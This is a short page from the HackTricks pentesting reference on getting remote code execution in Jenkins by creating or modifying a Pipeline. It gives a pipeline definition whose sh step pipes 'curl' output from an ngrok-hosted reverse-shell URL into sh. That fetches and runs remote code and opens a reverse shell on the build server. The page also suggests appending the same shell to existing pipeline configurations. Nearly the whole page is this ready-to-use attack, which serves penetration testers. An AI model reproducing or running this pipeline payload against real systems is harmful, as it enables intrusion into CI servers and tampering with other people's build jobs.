Comment on page
Jenkins RCE Creating/Modifying Pipeline
- If you want to see your company advertised in HackTricks or if you want access to the latest version of the PEASS or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
In "New Item" (accessible in
/view/all/newJob
) select Pipeline:
In the Pipeline section write the reverse shell:

pipeline {
agent any
stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}
Finally click on Save, and Build Now and the pipeline will be executed:

If you can access the configuration file of some pipeline configured you could just modify it appending your reverse shell and then execute it or wait until it gets executed.
- If you want to see your company advertised in HackTricks or if you want access to the latest version of the PEASS or download HackTricks in PDF Check the SUBSCRIPTION PLANS!